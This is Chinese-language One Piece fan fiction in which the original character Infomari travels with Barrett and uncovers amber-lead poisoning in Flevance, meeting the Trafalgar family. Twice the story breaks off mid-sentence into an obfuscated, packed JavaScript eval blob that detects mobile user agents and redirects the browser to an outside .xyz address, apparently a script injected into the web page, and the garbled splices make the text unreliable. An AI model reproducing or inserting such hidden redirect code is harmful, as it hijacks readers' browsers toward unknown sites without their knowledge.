巴//雷特对这个称呼有点惊讶,不过意外地很受用,这小子也不知道霸气练的怎么样了,要是荒废了他巴//雷特的技艺就等着挨揍吧。 他带着一点骄傲的神色被请进门,见到了罗杰的女人,仔细打量着。 露玖没在意,只是在茵弗说他们喝过酒了之后给巴//雷特倒了杯温茶。 茵弗把身上捂热之后凑到小鬼头们的身边,还没有所行动艾斯就醒了,见到他就咧开长着小乳牙的嘴开心地叫唤了一声:“小姨!” 巴//雷特差点没把茶喷出去。 小耗子是男的吧? 茵弗有点无奈地把他抱起来,基德和基拉也醒了,坐在沙发上揉眼睛。 “叫哥哥呀 ...” 自从基拉给他们读了什么家庭关系的绘本之后,还在学说话的小艾斯好像就认定了他是他妈妈的妹妹,所以天天叫他小姨。 基德本来还跟着基拉叫哥哥,后来也开始跟着艾斯跑偏了也不知道怎么回事。倒是给我反向影响啊! 明明他们管史黛拉叫姐姐啊?? 自己长得不帅气,也没有以藏那种漂亮,但是也不是很纤细的类型?只是穿衣风格宽松了点...一定是马尾的问题,小孩子看见长头发就觉得是女性了。莫责怪莫责怪。而且自己可是教导艾斯不要太拘泥与男子气概的,这怎么不算一种炮火打回自己身上的自作自受呢? 基拉:“抱歉,茵弗哥,他们一定要等你,就睡着了。” 乖,基拉,还是你跟我最亲了。 看他们三个都精神起来的样子,茵弗顶着露玖不赞成的神色从口袋里掏出来从酒吧给他们三个带的布丁,对着巴//雷特招了招手。 “喏,玛琪诺给你们做的哦,下次要去说谢谢。” “来艾斯,哥哥喂你吃一口。” 艾斯:“好、小姨!” 基德:“小姨!我也要!” ... 至少还懂一点点礼貌,吧。 巴//雷特发现自己在笑的时候,瞬间收敛了表情。 这种软弱的画面...一群小孩...白痴...软趴趴的,捏一下就死了...小老鼠真是一点长进都没有... 他当然也看出来哪个是罗杰的儿子了,黑色的就是。 哼,藤壶。 茵弗起身,任由三个小孩把脸吃得脏兮兮的,玛琪诺还在跟着妈妈学料理,布丁做得还是有点软趴趴的,戳一下就碎了。 露玖走过来,伸出指头戳戳他的额头:“太晚了,他们吃了甜的又该睡不着了。” 茵弗嘻嘻一笑,鼓励地对她竖了个大拇指。然后带着巴//雷特出了门。 他去达旦一家转了一圈,他们现在生活的不错,算是灰色中点站那边颇有威信力的一伙儿了,也管着一批人,特别是从城里搬出来的。给她交代一下明天的任务,告诉她明天晚上去开会,他就带着巴//雷特去看了他这大半年的成果。 巴//雷特没觉得有什么特别,就是普通的村镇,非常简陋,只有几栋看起来很重要的建筑,然后就是大片的田地,分割成不同区域。 听到他这么说,茵弗反而很开心地笑了笑。 ''没有什么特别。'' 真的是最高的夸奖了。 他没必要用钱贿赂或者给巴//雷特弄通行证,他不用带他去哥亚王国,那堵边镇和终点站之间的墙已经被永久地打通了。至于贵族,他们仍然抱着自己的优越感缩在高镇。 他没去凿开那堵墙。 因为运输要更麻烦一些,茵弗很坦然地把自己同样的产品换了个更花哨的包装,换了个名字,然后价格翻个五倍十倍二十倍地卖给贵族。 他仍然不收王族的钱,甚至给他们送钱,礼物,然后把因为王族使用而开始在贵族里变得风靡的产品价格再翻十倍。 黎明岛的秘密在于它那些体型格外庞大的猛兽。即使是在伟大航路,这种奇异的异变除了在某些岛上,也不是常见的,更何况是东海。 茵弗研究了他们,包括他们的食物链,期间揍了几只驯化了一下,和一些熊啊狼啊混得也不错。 它们不是一开始就存在这种异变的,植物的变化带来了食草动物的基因改变,而他们又变成了食肉动物异化的诱因。 微生物,独特的孢子,富含营养的淡水。 这是一个精巧又令人着迷的结果。 所以他利用了这一点,就像是利用鱼人岛海里得天独厚的海洋资源与珍珠,利用巴苔里拉的气候和花。 不确定之物终点站——现改名为灰色中点站——所出产的食物与药物焕发人体的活性的功效也就出奇的高效。 茵弗丢给巴//雷特一盒芋头药膳丸子,这里可是种植根茎类作物的好地方,废弃物的堆肥带来了肥沃的土壤。 “喏,【让人力气变大的丸子】,很适合您吧?” 巴//雷特随便把他给的零食塞到嘴里,这小子给自己弄的玩意起的名字还是这么奇怪。 “你给我看这些干嘛?” 茵弗又带他往回走:“因为我不知道该怎么治您的''病'',先生,我不觉得我比您病得轻。所以我给您看我现在都在做什么,给您提供一个选择。” “什么选择。” “我会在这周结束后离开黎明岛,到北海去,您要不要跟我走?” 巴//雷特啧了一声:“老子可弄不来你这些复杂的玩意。” 茵弗笑了笑:“当然了,我也不是要您去做这些的。我自己其实也不怎么喜欢动脑筋。” 他们走到山中的一块空地,周围的树木上有很多战斗的痕迹,这是茵弗的训练场。 “既然您来了,就是希望从我这里得到什么让您能治好自己的东西吧?我不知道它是什么,但是我们一起去找吧?” 他将手上覆盖上武装色,捶断了身旁粗壮的树木,断截面布满爆裂的碎屑。他不再需要十拳,也不用再模仿着要打碎谁的腿骨。 他已经打碎过很多人的腿骨。 茵弗取下刀,仍然没有拔开,只是连着漆黑的刀鞘一起举起,做好了战斗的姿势。 “久违地,子弹先生,一起去旅行吧?” 巴//雷特扭扭肩膀,露出一个让茵弗怀念的,凶狠的笑容。 - “早晚有一天把您胳膊一拳打断。” 茵弗一边偏着头,任由露玖在他鼻青脸肿的脸上涂药,一边动作麻利地从巴//雷特身上取出自己打进去的子弹,然后缝合。 巴//雷特嗤了一声:“你学得都是什么不伦不类的,既然都能在子弹上缠绕霸气,干嘛还用刀?” 他鄙夷地指指茵弗放在桌上的佩刀:“用刀也就罢了,也不见你拔出来,就抡着,内部破坏和流动外放都被你玩出花了。还不如专门弄个打架用的棍子。” 茵弗:“我乐意。棍子太轻了,没找到合适的,刀用习惯了。” 雷利交他剑术的时候送他的佩刀就这么一把,剑术不精被别人砍坏了怎么办...或者被巴//雷特一拳砸断。 露玖给他贴好胶布,爱怜地拍拍他的头:“好啦,大半夜的打架,孩子们还问我是不是出什么事了。” 茵弗也剪断给巴//雷特缝合的针线,有些不好意思地说:“哦,吓到他们了?我也没想到会那么大声,巴//雷特先生太凶了。” 露玖摇摇头,吓到倒是不至于,这几个孩子有一个算一个都胆子大的很,也很皮实。基拉都开始在丛林里乱跑了。 她换了个话题。 “你确定不带史黛拉一起走吗?” 茵弗把一只脚搭在膝盖上,拆着自己的手枪:“不了,您们现在还在帮我管理着中点站那边的事情,再让您一个人带艾斯他们就太辛苦了。她也舍不得基拉他们。我会帮她打听泰佐洛的。” 露玖聪明,坚定,有毅力,自从生完艾斯后的身体慢慢恢复,她就开始逐步帮助茵弗处理黎明岛的事情。这次没有阿龙,没有甚平,没有泰格。但是有露玖和史黛拉,有达旦和风车村,还有时不时就''休假''的卡普。 他放心离开也没什么事,需要做的他都开好头了,那些从垃圾中站起来的人会自己继续向着哥亚王国渗透。 没什么人再有时间去管已经死了的海贼王怎么样,他们用来谩骂和自怜的时间都被新的循环塞满了。 等艾斯再大一点,除了高镇和王宫,他在整个黎明岛乱跑都没什么问题。 这里现在干净了不少,不管是人、事、还是物。不到一年的时间不够茵弗玛利把这里清干净,不过至少,不会让他生病。 各种意义上的。 露玖拥抱了他一下:“记得我们的约定。” “啊,当然了。” 露玖回房间休息后,茵弗终于保养好了自己的爱枪,他看了看有些沉默的巴//雷特。 “所以,先生,您的回答呢?” 巴//雷特:“你敢背叛我,我就杀了你。” 打完架的肾上腺素褪去,身上隐隐作痛的同时,茵弗打了个哈欠,从自己的手枪的弹匣里取出一枚完整的子弹,放到对方已经伸出的宽大手心里。 “合作愉快,【巴//雷特先生】。” 茵弗笑眯眯地说。 - 离开黎明岛的那天,露玖和史黛拉帮茵弗收拾行李,巴//雷特去港口等他,他负责哄小孩。 本来以为最后一刻告诉他们就会长痛不如短痛一些... “呜哇啊啊啊小姨、不走!” “艾斯男子汉不要哭...不...男子汉当然可以哭...” 真是的这种时候就不要出现这种自食恶果的纠结了! “笨蛋!小姨!” “基德不到两岁就会骂人了吗!太失礼了,小姨我不允许!” 等等等等不是小姨啊! “茵弗哥...一路顺风...” 乖,基拉,还是你跟我最亲了,不过不要偷偷在刘海底下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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离开黎明岛的那天,巴//雷特负责掌舵,巴//雷特负责纵帆,他负责晒太阳。 “我是来给你当保镖的,不是来当保姆的。” “哇塞您都选好保镖的工作了吗,我以为您只是想和我搭个伴呢。” 这个大高个才不会在他这艘小破船上揍他呢,掉到海里还得靠茵弗捞他这个恶魔果实能力者。 好痛。 好吧不会揍他不代表不会把他从躺椅上踢下来。 “老子才不会吃你这个小老鼠的白食呢,不像某些罗杰的儿子,滚去做饭,要打架我上,其他时候别指挥我。” 真的假的?和一个一岁的小孩争这种东西?茵弗卷卷袖子,发出一阵愉悦的笑声。 “您真是一点没变,巴//雷特先生。” 给巴//雷特做饭很简单,热量足够,分量大就好了。不过出于医生的本能,茵弗还是给他花不少心思做了营养均衡的一餐。 他给自己开了一罐坚果嚼着,在巴//雷特露出满意的神色时咯咯地笑。对方还是不会掩藏表情,跟他正好相反,明明他们是那么的相似。 巴//雷特奇怪地看他一眼,往嘴里送裹着酱汁的通心粉和肉块。 “笑什么?” 茵弗挑着罐子里的果干和腰果:“没什么,突然发现我挺想您的。” 巴//雷特噎了一下,灌了两口手边不知道弄得什么混合果汁,带着点酒精的味道。 “少说没用的!咳,你不吃饭?” 茵弗摇摇头:“饿了就吃。” 核桃,核桃,怎么这么多核桃? “您吃核桃吗?” “你要去北海干嘛?” 二人同时开口。 茵弗把手里的半把核桃放到巴//雷特的沙拉里,起身去拿来了他的笔记本。上面的颜色已经褪色了不少,彩虹的颜色不再鲜艳,小熊的眼睛花了一颗。 他一直没机会找雷利要一本新的,只能把内页裁开又重新替换,循环往复。 “嗯...北海有几个地方想去拜访一下?” □□:“你故乡?” 茵弗摇头,亨姆岛... 他在清单上加上了它的名字。 “也许吧...但是不是最主要的。” 杰尔玛王国、白色城镇弗雷凡斯、布鲁尼尔王国。 人体和基因研究、外科水平与独特的矿石材料、自然植物多样性与发达的植物学。 “布鲁尼尔和鸟之王国都是这方面的顶尖岛屿呢...北海之后去南海...顺便也去一下鸟之王国吧...” 茵弗手里的笔无意识的敲着,思考着卡普给他顺来的资料。 巴//雷特啧了一声:“书呆子。你去看书的啊,早知道不跟你走了。” 茵弗打了个响指:“去学习,去合作,但是也差不多,学习就一定要看书的。我现在太弱了。” 他把笔记翻了一页,在记录西海的标签上随手画着圈圈:“嗯...西海因为地下势力云集其实我也很感兴趣...” “为什么?” “我想要恶魔果实嘛,很多很多的恶魔果实,黑市的话最快了,但是要不少钱吧,所以也不急着去。” 巴//雷特吃完饭,把餐具往水池里一丢——反正他是不会洗的。 “你要吃?一人只能吃一个,白痴。” 茵弗摇头:“我不吃,拿几颗研究,拿几颗用来哄小孩儿,不是挺好?” 还有他图鉴上早早就标红的那几个。 茵弗合上笔记,起身去清洗餐具:“总之西海不着急,先去杰尔玛吧,那里的国王据说是个战争专家,有没有让您感到思乡情啊~” - 茵弗玛利将西海抛之脑后了,西海却有人想到了他。 库赞四周萦绕着燃烧的橙黄色彩,爆炸源源不断地如野花般绽开。惨叫声已经基本听不到了,只剩房屋倒塌,还有岛中央那颗巨树的哀鸣。 身处名为屠魔令的地狱,空气都因高温而扭曲,他却觉得自己冷极了,却不完全是因为他的果实能力而延展的寒冰,刚刚冻住了他曾经的巨人好友。 在这火海之中,他燃烧的正义快要熄灭,让他四肢发寒,这次没人拥住他,护住他的火。 萨卡斯基对着载满平民的避难船开炮了,因为要抹去有学者在其上的任何可能。 屠魔令经过之地,生存率必须为0% 他突然想到那个深色皮肤的少年——他该成年了吧——下次见面就是青年了。 历史的真相...毁灭世界的武器... 存在,是罪吗? 所以他面对着那个小小的黑发女孩,在海面上用冰画出了两条指引的细线。 空气的爆裂声里,他听到一声饱含悲伤的声音。 ''库赞先生...如果有1%的可能....'' 一点鼓起勇气的笑声混杂着无法压抑的哭声,随着那只小船越飘越远。 库赞攥紧拳头,指甲在手掌内刻下弯月型的伤痕。他踩着冰在海上前进了两步,不再犹豫,大声对着远去的小船喊到: “去找茵弗玛利!带来奇迹的游医!” 能在所有人的无知无觉中扭转巴苔里拉无数妇女婴孩的命运的''医生''。 他不知道那个八岁的女孩是否听到他的呼喊。 他也有将命运推向未知的轨道,留存下这考古学圣地的1%吗? 全知之树的倾倒带来巨大的轰鸣,盖过了妮可·罗宾的哭声。 奥哈拉在海军的屠魔令下毁灭了。 40.白色 ''人生就是不能后悔啊!'' 罗杰站在船舷边大笑。 茵弗后悔了。 他为什么要选先去杰尔马?一个没有固定国土,被一群大蜗牛背着在海上飘来飘去的国家! 而且巴/雷特的小船太烂了,从东海到北海翻过颠倒山还能没完全碎掉已经是神奇...就他们两个人,买小船坏的快,买大船操纵不来... 但是必须要换船了。 以后还是自己去定制一艘结实合适的船比较好,之前香克斯他们说的,他们在前半段去找的,造了奥罗杰克逊号的船匠,是谁来着...?七水之都的汤姆先生? 在伟大航路啊。他们现在过去也太麻烦了,还要弄一个永久指针... “耗子!快到弗雷凡斯了!去不去!” “不去!我说了要先去杰尔马的!” “啧!你少在这种时候犯倔!上哪去找杰尔马,我转舵了!” 讨厌的巴/雷特!懂不懂什么叫男人说去哪就去哪的浪漫啊!船翻了他会捞这个能力者的,担心什么啊。 茵弗怒气冲冲地跑出来,在看清迎面越来越近的岛屿时止住脚步。 好白... 除了建筑物,地面和树木都是白色的。远远看着有一种不真实感。像雪崩过后的死寂、充满消毒水与死亡气息的病房、亨姆岛的教堂。 离近了可以看出这片土地的富饶,居民们的安居乐业,驱散了远距离时的那股寒气,可是仍然太白了,没有什么色彩。 茵弗读过的资料里将其描述为人间仙境般的美丽,他却没由来地打了个哆嗦。 为什么这么白? 他当然读过''白色城镇''弗雷凡斯的资料,该国家发现了一种特殊的洁白矿物,命名为铂铅。 这种珀铅不但能用来生产餐具、涂料、甜味调料、化妆品,甚至是制造武器。 而珀铅业也成为了弗雷凡斯一大产业。 但是...这么夸张的吗?他已经对把挖到的铅矿类物质放在调料和化妆品里面这件事的安全性表示质疑了。但这不是呼吸间都在摄入矿物中的微量元素吗? 巴/雷特把船入港,看他愣着的样子有点疑惑:“到都到了,愣着干嘛?换船去。” 茵弗回过神,下意识点了点头。 对、他又没见过铂铅,也许人家就是叫这个名字,实际上没有那么大毒性呢。毕竟都是近百年的产业了吧?也没有听说过有什么事情...自己就是做实验太多对这些东西太敏感了... 而且有这么多用处的话,自己最近在构想的新医疗用具的开发也能用得上。 这里的医学水平也是颇为出名,尤其是外科类。他对药理方面算得上精通,但是外科上如果能进一步学习也更好... 他拉住了要下船的巴/雷特。 “巴/雷特先生...您...戴上这个。” 巴/雷特狐疑地扫过茵弗递来的医用口罩,看他蹙着的眉头,张了张嘴,还是没有询问。 这小子不对劲,嚷嚷着什么一定要先去杰尔马的是他,现在倒是没第一时间跑去看看能不能弄艘新船或者打听消息,反而在大街上像个游客一样闲逛起来了。 如果不是他买了一堆东西,却一个也不吃,也不用,只是研究一下就放到袋子里,然后找下一家店,他没准还真的会认为他突然游性大发了。 不管,他饿了,反正现在茵弗玛利的钱他随便用。这小子有钱的很,雷利当时船上有这么多钱能乐死。 巴/雷特随便买了个白花花的松饼,还包着个吸引游客的花哨纸壳,刚要放到嘴里,就被打掉了。 “别吃!” “哈??我几天没揍你你胆子不小啊?” 茵弗没管他,把巴/雷特往船的方向拉。 “回船上说,先生,相信我。我回去给您做饭。” 巴/雷特还是一脚抽在他背上,茵弗落了一段距离,打了个滚卸掉力道,拇指蹭掉嘴角的血。 讨厌的巴/雷特...!你就毒死吧! 大街上因为这突发的情况有点骚乱,都躲得远远的。茵弗对着离自己最近的一位年轻女士伸出手。 “小姐,您能拉我一下吗?” 果然。 茵弗松开手,对着拉自己起来的栗发女士点点头,侧身躲过巴/雷特的攻击。 “我们还在街上,先生!换个地方说话!” 巴/雷特:“老子想在哪打你就在哪打你!来训练!” 麻烦死了。 茵弗抽出自己的手枪,对着巴/雷特扣下扳机。 巴/雷特也没料到这小子直接拔枪了,在黎明岛的切磋不算,他从来不... 缠着武装色的子弹贴着自己的脸颊擦过,留下一道血痕。 他就知道—— “巴/雷特!!” 身穿军装的青年发动果实能力的手顿住了。 “回船上!拜托了!” 茵弗没在意周围人群的窃窃私语,带着巴/雷特回到他们俩的小破船上,踩上甲板时发出嘎吱的声音。 “听着,先生,我很抱歉我突然对您开枪,但是您不听我说——” 巴/雷特:“怎么回事。” 茵弗叹了口气,率先走入船舱把捡回来的口袋放到箱子里封好,里面的东西因为刚才的打斗没了大半袋。 “弗雷凡斯所有的一切都是白色的,人民因为铂铅而富足,无忧无虑...” 他在厨房仔细地洗了手,然后冰箱里随便拿出几个食材给□□做饭——原谅他了,自己饿肚子的话心情也不好。 “先生,我接触了十个商贩,三个普通居民,两个卖糖果的小孩。他们全都是病着的。15/15的几率?” 巴/雷特也冷静下来了,抱着胳膊坐在桌边。 “你听到的?” 茵弗点点头,将肉排翻了个面:“但是他们看起来很健康不是吗?如果不是我的能力我也不会知道的。甚至他们去医院检查可能都不会有太明显的结果,但是我能听见,就像是吹得太满的气球,在不久的将来...” 他侧过身子,一手做了个虚握的动作,一手模仿着拿着一根针,轻轻戳上去。 “啪。” 巴/雷特拧着眉头:“你怀疑他们吃的东西有问题?” 茵弗摇摇头,关掉炉子上的火,煎肉排油腻的味道让他突然有点恶心。 “我怀疑铂铅,我听到的人基本都是消化系统、造血系统和肾脏上出现了问题,铂铅可能让他们重金属中毒了。” 巴/雷特接过肉排吃了一口,也变得没什么胃口。 “白色城镇不是很长时间都是这样吗?” 茵弗:“我不知道,先生,我很想把带回来的东西检测一下,但是您知道,我们的船上没有空间和足够的器具。不过我目前的假定是其中的毒素含量很微小,可能我那一袋子才能化验出来一点点,但是它们会积累。” 巴/雷特:“积累一百年吗?” 一百年,总会有人应该发现的。茵弗玛利的能力不提,作为一个医疗水平出众的国家,不缺资金和名望,为什么到现在都没人发现问题? 茵弗咬着指甲,有点烦躁。 “我不知道,这很可能是一代代累积下来的,直到这一代才显现出来?也许以前的手段检测不出来?大家也就习惯了?” 巴/雷特点点头,犹豫了一下,切了一半的肉排推给茵弗玛利。 “咳、我下次会听你说话、谢了。” 茵弗皱着的眉头松开了些,露出一个微笑:“谢谢,不过您吃吧,我不饿。” 气氛有点尬尴,巴/雷特吃着东西,嘟囔着说:“那我们换了船就走,少在这儿呆着,换个岛问问有没有杰尔马的消息。” 茵弗点头:“我——” 两人同时停顿,起身,看向舱门——有人群过来了。 “你是''奇迹游医''茵弗玛利?国王大人有请!” 茵弗环视了一圈''士兵'',看起来并不强,应该是刚刚街上发生的事情被认出来然后报上去了。而且用了他那个烂名号的话应该又是听说了他的贵族,特别是东海的事情之后...当时为了忽悠哥亚的国王瞎话还是说得太夸张了... 他拦住了巴/雷特:“我去看看,先生,您上岛一定要戴口罩,不要吃东西,当然,这里等我最好——” 巴/雷特在他脑袋上抽了一把:“少跟个老妈子一样,小耗子,老子心里有数。” - 茵弗挂着礼貌的笑容听面前臃肿国王的絮叨,无非就是听说他给哥亚王国带来了财富,要茵弗给他调养身体并也在弗雷凡斯给他带来财富诸如此类。 “当然,我们国家的铂铅给你优惠、不!随你使用!” 茵弗环顾四周,缓缓开口:“铂铅确实是一种美丽又实用的材料呢...我尊敬的陛下,您不喜欢吗?” 国王愣了愣:“我当然喜欢。高品质的铂铅产品在各个海域都很受欢迎...” 这王宫,颜色挺绚丽嘛。 “您倒是不怎么使用呢...一定是把这珍贵的材料都让给您的子民了吧?如此博爱。” 国王流了一些冷汗:“当、当然!” 茵弗笑着歪歪头,十字型的红宝石耳饰闪过晶莹的光,镶框上繁复的金纹彰显它的华贵。 “我也许愿意为弗雷凡斯出力,陛下,但是您不请我用一顿饭吗?是礼仪的不同?在别的国家——” 国王:“不!我现在就让佣人布置下去,然后我们详谈!” 和贵族的详谈一般就是你去听他们谈,然后点头,偶尔发出一些夸赞的声音就好了。 茵弗低着头,慢慢地切下一块鱼肉。 嗯...闻不出来,也吃不出来,就很普通的几种香料。 “陛下。”他打断了对面滔滔不绝的家伙。 国王:“何、何事?” “我初来弗雷凡斯,听闻您们这里铂铅制的香料也是别具风味,只是还没有机会品鉴,你我今日的餐品中是否有使用?” 国王:“这、我可以让厨房再做一份用了铂铅调料的餐食给你。” 茵弗摆手示意不必,“您一般不享用吗?口味不习惯?”他轻笑了一声,“还是又是您的博爱?” 国王的头脑飞速运转着,面前这个人只是个医生而已,他不可能发现了铂铅的秘密,国内没有出现中毒反应的人...大臣说近几年铂铅的产量越来越少,如果这个游医真的有那么神奇,自己还能用这些仅剩的铂铅享用更多年的财富... 茵弗咽下一口鱼肉,放下刀具,发出清脆的一响。 “别这么紧张,陛下,我在夸您呢。” 国王:“是、是吗?” “您们国家最优秀的医院在哪?医生有哪些?您知道,我总要了解一下您们这里的具体情况,才能为您带来更多的利益。” 国王连忙回复:“中央大街西巷!特拉法尔加医生是我们国内第一!” 茵弗点点头,随手拿过旁边的纸巾擦了擦嘴,站起身子,向国王伸出一只手。 “谢谢款待。” 身体前倾的人笼罩在自己之上,头顶的吊灯将其面上投下阴影,国王在伸手交握的一瞬看到对方耳饰上闪过猩红的光。 游医直起身子,阴影散去,仍然是温和有礼的微笑,刚才一瞬间的恐怖仿佛只是幻觉。 “我同意为您的国家出力,博爱的陛下。” 国王吞了口口水:“当然、为了弗雷凡斯。” 茵弗:“为了弗雷凡斯。” - 特拉法尔加医生今天真的是...充满波折。 先是听说近年医学界出现的新星''奇迹游医''到弗雷凡斯了,又听说对方在港口附近和一个大汉打了起来,后来又被请去了王宫。 自己当然是想见上这位天才医生一面的,但是对方是出了名的''随性'',他也不好说弗雷凡斯给对方印象如何,所以也就不报什么希望了。 结果这位医生主动找来医院,而且点明要见他。在欣喜中,对方却带来了...消息。 “别这么紧张,特拉法尔加先生,您是我的先辈,我来这里也有想要在您们这里学习一段时间的打算。听说您是全国第一的医生?” “啊、当然,我也有愿意和你医学交流的意愿...叫我威廉就好。” 茵弗从药箱里翻出一袋茶包,撕开包装后放到了的人面前的杯子里。 “苦喝的惯吗?帮您保持冷静。” 威廉点头,有些疑惑。 “您们国家的人,平时体检多吗?” “不算多...常规频率。” “结果如何?其中有一些异常的规律吗?近期的病人呢?” 异常? 特拉法尔加医生摇头。 麻烦了啊,如果第一的医生都丝毫没有察觉,也就是极大可能在完全爆发前只有他能听到。但是治疗重金属中毒是一个长期的过程,时间越早越好。 但是既然自己能听到那么也就是说症状是存在的...只是不会被联想到铂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886528|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铅... 信任、资源、知识、人脉、话语权... 算了,他只是个医生。 茵弗拆了根棒棒糖塞到自己嘴里。早知道该吃点东西的,头疼。 “您能带我参观一下您们医院吗,先生?尤其是目前正在诊治的病人,我想观摩学习。” “好的,我亲自带你去吧。” 威廉医生每带他慰问一个病人,就越发地惊奇。这位年轻的医生好像只是简单地和病人接触一下,就不需要他介绍地指出来对方身上所有的问题,甚至还有一些细小的毛病。 等他们再次回到办公室,他的手被对方握了一下就松开,然后笑着说如果后背很痛他可以帮忙按摩一下——罗早上突然跳到床上... “您在好奇我怎么做到的?” 威廉点头。 “这是我的能力,对一个医生来说,它十分方便。没有多少人知道它的全貌。” 那为何主动给他展示? “因为我需要您对我接下来说的话多一分信任,先生,我的能力告诉我,弗雷凡斯病了。” 街上的热闹和医院里的走动声混在一起,在年轻医生一开一合的嘴里都变成了嗡鸣的背景音。 威廉捏着那杯已经变凉的茶,急需任何一丝平静。 消化系统的异常不是新的流感;头痛乏力四肢麻木不一定是过劳;心脏功能的衰竭开始在年轻人身上出现;孩子们开始贫血。 那些被忽视的''正常''被提出了新的可能——弗雷凡斯病了、不、中毒了——因为他们一代代赖以生存的铂铅。 他想拒绝这种可能性,可是越是拒绝,那些''异常''就越来越明显...甚至是—— “如果您们有记录,我猜测弗雷凡斯人口的平均寿命在逐渐减少。病症的瞬间爆发之前也会有被忽略的反应,那只是最后一根稻草。” 总有那么一根稻草。 威廉叫来了自己的妻子安娜,对方也是顶尖的医生。扎着马尾的棕发女人在听到丈夫的转述后,对茵弗玛利的判断产生了怀疑。 “你相信他吗,威廉?可是铂铅...” 特拉法尔加医生摇头:“茵弗医生答应我,我们会进一步实验检测,但是,这确实有这种可能不是吗?” 他扶在妻子肩上的双手微微捏紧:“一百年代代积累,大人们,孩子们,我担心它变成了一种遗传。” 就像是兔子吃了草,狼又吃了兔子,食物链的一层层递进,一代一代将黎明岛的动物变得越来越大。 祖祖辈辈都浸泡在铂铅中的弗雷凡斯,又积累了多少毒素? 特拉法尔加医生的行动力很高,茵弗又在国王那里获得了随意取用铂铅的许可,很快就有士兵将一袋袋的铂铅运到中央医院。 茵弗带着口罩和手套,捏了捏手里洁白的矿石。 他对处理这些东西有经验,太多经验了,毕竟希鲁鲁克就是实验派的,比起医生更像个大胆的化学家。某种意义上来说,茵弗也是他的影子。 他用掉了几乎所有的原矿,随手把手套丢到废物篓里,走到水池边清洗双手,没有打扰对着析出的那一瓶底毒素发呆的威廉。 时间很晚了,他得回船上去,不知道巴/雷特怎么样了。 他率先一步走出实验室,遇上了怀里抱着个小孩的安娜。她没有参加实验,因为预估二人要忙很久,她先去接了自己的儿子。 看他出来,而自己的丈夫还在里面,安娜的心沉了沉,将儿子放到门外的座椅上,叮嘱他乖乖等着,在消毒后迈进实验室。 茵弗的视线从椅子上的小豆丁软乎乎的帽子上扫过,忍住了想去揉一把的冲动,然后眼疾手快的拉住想往实验室里钻的小孩儿。 “进实验室之前请消毒,带好防护措施。” 虽然被抓了,不过年幼的特拉法尔加·罗没想到这个陌生的家伙没训斥自己乱看,只是告诉他要注意安全。 就是嘛,自己都长大了,妈妈他们就是太把他当个小孩子。 “你是谁?” “您又是谁?” “我是特拉法尔加·罗,我四岁了。”听到茵弗对他使用大人之间才会用的敬称,罗挺挺胸膛。 茵弗伸出手与他礼貌相握:“您好,罗先生,我是茵弗玛利,我十八岁了。” 哇...输了... 罗小猫一样地撇撇嘴。 “【医院】?还有人叫这个名字?” 茵弗收回手,指腹间摩搓了一下,那对夫妇会很难过吧。 “【秩序】?您的名字也很特别。” 他注意到了罗的用词,不是一般人会认为的【医务室】而是改成了更为笼统的,更象征抽象概念的【医院】。所以他也把【法律】换成了【秩序】。 聪明的小鬼。 特拉法尔加夫妇的出现打断了二人的闲聊,罗走上前拉住安娜的手:“你不舒服吗,妈妈?脸色好差。” 安娜抱起自己的儿子,努力挤出微笑摇了摇头。 威廉:“谢谢您,茵弗医生,真的很感谢。” 茵弗摆摆手:“请像之前一样随意一些称呼我吧,先生,我个人只是习惯而已。” 罗有些惊讶,他最厉害的爸爸居然对这个人这么尊敬,叫【医院】的人很厉害?不过这个名字是有点熟悉...好像爸爸带回来的报纸上有看见过?不过他一般都只看上面索拉的连环画... 安娜:“我们应该上报给国王陛下,他一定会——” 茵弗:“恕我失礼,安娜女士,但是您们的国王早就知道了。” 明明是国王,却不用任何铂铅制品,不食用带有铂铅的食物。 “他是您们国家我目前听到的,唯一算得上健康的人。当然,也许整个王族都是吧?一代代相传的可不止是铂铅。” 威廉视线转向妻子怀里的儿子,有些迷茫的金色眼睛回望着他。 “罗...?” 茵弗:“很抱歉,是的。” 国王,已经知道了?早就知道了?一代又一代,他们一直都知道?为什么... 罗拉住妈妈的袖口:“...我们生病了?” 生病了,是的,中毒了。 被美丽的铂铅,被一百年的谎言,荼毒太深了。 茵弗叹了口气,还是伸手摸上了罗带着斑点纹的帽子,替无法开口的二人回答:“是的,小先生,不过别担心,交给我吧。” 罗:“....【茵弗玛利】?” 浅金色的发丝被拢到耳后:“嗯,【医生】。” 41.您的教堂不是我的神 虽然跟小鬼头做了保证,但是茵弗真的切实地感到了棘手。 但是没办法,他见到小孩儿就想起来自己曾经遇见的大大小小的豆丁们。 他放下手里的医书,揉起眼睛,有些担心自己最近的视力。总感觉再这样下去他就要戴眼镜了... “眼睛痛吗?揉眼睛很脏。” 茵弗摇头:“有点酸,谢谢小特拉先生。有看不懂的吗?” 罗也放下那本比他脑袋大的医书,跳下椅子去威廉的抽屉里翻眼药水。 “有一点...小特拉是什么啊,我叫特拉法尔加。” 茵弗:“太长了,我连自己的名字都嫌长,您是小特拉,威廉先生是大特拉,安娜女士是特拉妈妈。哪里看不懂我教您?” 他接过眼药水,扫过标签后感谢地点点头。 罗:“那万一我以后有弟弟或者妹妹怎么办?你要叫祂什么。” 茵弗仰过头等眼药水渗开。 “小小特拉?宝宝特拉?” “难听死了。” 如果他有弟弟或者妹妹吗? “...您会很爱祂吧?” 罗:“当然了!那我可是哥哥了!” 罗把自己看的医书上看不懂的地方标出来推向他,因为数量而有点不好意思,他犹豫了一下开口道:“如果、妈妈要生弟弟妹妹、祂也会生病吗?” 茵弗直起身子:“不要再去偷听我们谈话啦,想听就堂堂正正地跟爸爸妈妈申请...” 罗:“所以是会的是吗?” 是的。被特拉法尔加医生命名为''铂铅病''的中毒性病症是遗传病。 